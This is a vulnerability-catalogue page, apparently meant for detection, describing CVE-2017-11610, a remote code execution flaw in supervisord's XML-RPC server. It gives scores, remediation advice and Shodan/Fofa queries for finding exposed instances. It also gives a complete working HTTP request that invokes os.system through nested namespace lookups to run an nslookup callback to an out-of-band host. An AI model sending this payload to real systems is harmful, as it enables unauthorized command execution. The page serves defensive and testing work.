🔙 목록으로 돌아가기

CVE-2017-11610: XML-RPC Server - Remote Code Execution

TitleXML-RPC Server - Remote Code Execution
Authornotnotnotveg
SeverityHigh
ImpactSuccessful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the target system.
RemediationApply the latest security patches or disable the XML-RPC server if not required.
CVSS Score8.8
EPSS Score0.93776
CVE IDCVE-2017-11610
CWE IDCWE-276
Shodan Queryhttp.title:"Supervisor Status"http.title:"supervisor status"
Fofa Querytitle="supervisor status"
Tags cve2017 cve oast xmlrpc msf rce supervisor supervisord vkev vuln

🔍 Vulnerability Description

The XML-RPC server in supervisor before 3.0.1, 3.1.x before 3.1.4, 3.2.x before 3.2.4, and 3.3.x before 3.3.3 allows remote authenticated users to execute arbitrary commands via a crafted XML-RPC request, related to nested supervisor namespace lookups.

🌐 HTTP Request

POST /RPC2 HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/116.0
Connection: close
Content-Length: 244
Accept: text/xml
Content-type: text/xml
Accept-Encoding: gzip

<methodCall>

  <methodName>supervisor.supervisord.options.warnings.linecache.os.system</methodName>

  <params>

    <param>

      <string>nslookup d5jq73ple0o4li36fc1g7ny9p7oxur5d9.oast.live</string>

    </param>

  </params>

</methodCall>

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2017/CVE-2017-11610.yaml

🦈 Packet Capture: ⬇️ Download cve-2017-11610.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A